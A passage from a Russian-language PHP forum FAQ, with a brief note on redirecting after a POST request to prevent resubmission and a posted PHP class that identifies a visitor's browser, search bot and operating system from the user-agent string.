                                              Передать управление можно либо через ответ HTTP 302 (заголовок Location: some/where), либо через HTML-документ, содержащий перенаправление по <meta http-equiv="refresh"...>

                                              Правило, которое нужно помнить — нельзя задерживать браузер на страничке, запрос к которой должен лишь однократно отправить данные на сервер (оплата онлайн, загрузка файла, отправка сообщения на форум).

                                              Подобная схема осуществлена на нашем форуме, в частности, при отправке сообщений.

                                              Это сообщение было перенесено сюда или объединено из темы "Как избежать повторной передачи POSTa"
                                                Как определить браузер пользователя на сервере?

                                                Автор: Serafim
                                                Исходное сообщение: Определение браузера пользователя (сообщение #3015737)

                                                ExpandedWrap disabled
                                                  /*
                                                  * @package     userlib
                                                  * @version     1.3.1 stable
                                                  * @autor       Serafim
                                                  * @info     Библиотека определения браузера и операционной системы клиента
                                                  */
                                                  class Browser{
                                                     private $_ua         = NULL;
                                                    
                                                     private $_searchEngine  = false;
                                                     private $_mobileBrowser = false;
                                                    
                                                     private $_name          = NULL;
                                                     private $_type          = NULL;
                                                    
                                                     private $_os         = NULL;
                                                     private $_os_build      = NULL;
                                                    
                                                     /**
                                                    * @param    string [$ua]         Строка формата HTTP_USER_AGENT
                                                    **/
                                                     public function __construct($ua = NULL){
                                                        $this -> _ua = ($ua === NULL) ? $_SERVER['HTTP_USER_AGENT'] : $ua;
                                                     }
                                                    
                                                     /**
                                                    * @return   string $ua           Возвращает строку формата HTTP_USER_AGENT
                                                    **/
                                                     public function getUserAgent(){
                                                        return $this -> _ua;
                                                     }
                                                    
                                                     /**
                                                    * @return   integer $type        Возвращает тип "браузера", 0 - неопознано, 1 - клиентский, 2- мобильный, 3 - поисковик
                                                    **/
                                                     public function getType(){
                                                        if( $this -> _type === NULL ){
                                                           $this -> getUserAgentName();
                                                          
                                                           if( $this -> _searchEngine ){
                                                              $this -> _type = 3;
                                                           }else{
                                                              $this -> getOS();
                                                              if( $this -> _mobileBrowser ){
                                                                 $this -> _type = 2;
                                                              }else{
                                                                 $this -> _type = 1;
                                                              }
                                                           }
                                                        }
                                                        
                                                        return $this -> _type;
                                                     }
                                                    
                                                    
                                                     /**
                                                    * @return   string $browser         Возвращает имя браузера клиента
                                                    **/
                                                     public function getUserAgentName(){
                                                        if( $this -> _name === NULL ){
                                                           $this -> _checkUA($this -> _ua);
                                                        }
                                                        
                                                        return $this -> _name;
                                                     }
                                                    
                                                     /**
                                                    * @return   string $browser         Возвращает имя ОС клиента
                                                    **/
                                                     public function getOS(){
                                                        if( $this -> _os === NULL ){
                                                           $this -> _checkOS($this -> _ua);
                                                        }
                                                        
                                                        return $this -> _os;
                                                     }
                                                    
                                                     /**
                                                    * @return   string $browser         Возвращает версию ОС клиента
                                                    **/
                                                     public function getOSBuild(){
                                                        if( $this -> _os_build === NULL ){
                                                           $this -> _checkOS($this -> _ua);
                                                        }
                                                        
                                                        return $this -> _os_build;
                                                     }
                                                    
                                                    
                                                    
                                                    
                                                    
                                                    
                                                     private function _checkOS($ua){
                                                        $prePattern = ' ([0-9\d\._]+)#is';
                                                        
                                                        $types = array(
                                                           'Android',
                                                           'Windows CE',
                                                           'SymbOS',      // Symbian
                                                           'SymbianOS',   // Symbian
                                                           'J2ME',        // Undefined Java
                                                           'Mac OS X',
                                                           'Windows NT',
                                                           'Linux'
                                                        );
                                                        
                                                        
                                                        $item = 0;
                                                        foreach($types as $os){
                                                           if( strstr($ua, $os) ){
                                                              $pattern = '#' . str_replace(' ', '\s', $os) . $prePattern;
                                                              
                                                              $this -> _os = str_replace(
                                                                 $types,
                                                                 array(
                                                                    'Android',
                                                                    'Windows Mobile',
                                                                    'Symbian',
                                                                    'Symbian',
                                                                    'Undefined [J2ME]',
                                                                    'Mac OS X',
                                                                    'Windows',
                                                                    'Linux',
                                                                 ),
                                                                 $os
                                                              );
                                                              preg_match_all($pattern, $ua, $matches);
                                                              $this -> _os_build = $matches[1][0] ? $matches[1][0] : NULL;
                                                              
                                                              if( $item < 5 ) $this -> _mobileBrowser = true;
                                                              
                                                              break;
                                                           }
                                                          
                                                          
                                                           $this -> _os =          NULL;
                                                           $this -> _os_build =    NULL;
                                                           $item++;
                                                        }
                                                     }
                                                    
                                                    
                                                    
                                                     private function _checkUA($ua){
                                                        if(
                                                           strstr($ua, 'Googlebot') ||
                                                           strstr($ua, 'Mediapartners-Google') ||
                                                           strstr($ua, 'Google Search Appliance')
                                                        ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Google';
                                                        }elseif(
                                                           strstr($ua, 'Yandex') ||
                                                           strstr($ua, 'YaDirectBot')
                                                        ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Yandex';
                                                        }elseif(
                                                           strstr($ua, 'Yahoo!') ||
                                                           strstr($ua, 'YahooFeedSeeker')
                                                        ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Yahoo!';
                                                        }elseif( strstr($ua, 'msnbot') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'MSN';
                                                        }elseif( strstr($ua, 'Mail.Ru') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Mail.Ru';
                                                        }elseif( strstr($ua, 'StackRambler') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Rambler';
                                                        }elseif(
                                                           strstr($ua, 'W3C_Validator') ||
                                                           strstr($ua, 'W3C_CSS_Validator_JFouffa')
                                                        ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'W3C Validator';
                                                        }elseif( strstr($ua, 'Baiduspider') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Baidu';
                                                        }elseif( strstr($ua, 'ia_archiver') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'Alexa';
                                                        }elseif( strstr($ua, 'curl') ){
                                                           $this -> _searchEngine  = true;
                                                           $this -> _name    = 'libCURL';
                                                          
                                                          
                                                        }elseif( strstr($ua, 'Chrome') ){
                                                           $this -> _name    = 'Chrome';
                                                        }elseif(
                                                           strstr($ua, 'Opera') &&
                                                           !(
                                                              strstr($ua, 'Mini') ||
                                                              strstr($ua, 'Mobi')
                                                           )
                                                        ){
                                                           $this -> _name    = 'Opera';
                                                        }elseif(
                                                           strstr($ua, 'Opera') &&
                                                           strstr($ua, 'Mini')
                                                        ){
                                                           $this -> _name    = 'Opera Mini';
                                                        }elseif(
                                                           strstr($ua, 'Opera') &&
                                                           strstr($ua, 'Mobi')
                                                        ){
                                                           $this -> _name    = 'Opera Mobile';
                                                        }elseif( strstr($ua, 'Firefox') ){
                                                           $this -> _name    = 'Firefox';
                                                        }elseif( strstr($ua, 'Android') ){
                                                           $this -> _name    = 'Android';
                                                        }elseif( strstr($ua, 'Avant') ){
                                                           $this -> _name    = 'Avant';
                                                        }elseif( strstr($ua, 'Epiphany') ){
                                                           $this -> _name    = 'Epiphany';
                                                        }elseif( strstr($ua, 'Flock') ){
                                                           $this -> _name    = 'Flock';
                                                        }elseif( strstr($ua, 'K-Meleon') ){
                                                           $this -> _name    = 'K-Meleon';
                                                        }elseif( strstr($ua, 'Konqueror') ){
                                                           $this -> _name    = 'Konqueror';
                                                        }elseif( strstr($ua, 'PLAYSTATION') ){
                                                           $this -> _name    = 'PlayStation 3';
                                                        }elseif( strstr($ua, 'PSP') ){
                                                           $this -> _name    = 'PlayStation Portable';
                                                        }elseif( strstr($ua, 'Safari') ){
                                                           $this -> _name    = 'Safari';
                                                        }elseif( strstr($ua, 'SeaMonkey') ){
                                                           $this -> _name    = 'SeaMonkey';
                                                        }elseif( strstr($ua, 'MSIE') ){
                                                           $this -> _name    = 'Internet Explorer';
                                                        }else{
                                                           $this -> _searchEngine  = false;
                                                           $this -> _name          = '[undefined] ' . $ua;
                                                        }
                                                     }
                                                  }
                                                Сообщение отредактировано: fatalist -
                                                0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                                                0 пользователей:
                                                Закрыто negram 03-12-2010:


                                                Рейтинг@Mail.ru
                                                [ Script execution time: 0,1857 ]   [ 16 queries used ]   [ Generated: 28.03.24, 19:52 GMT ]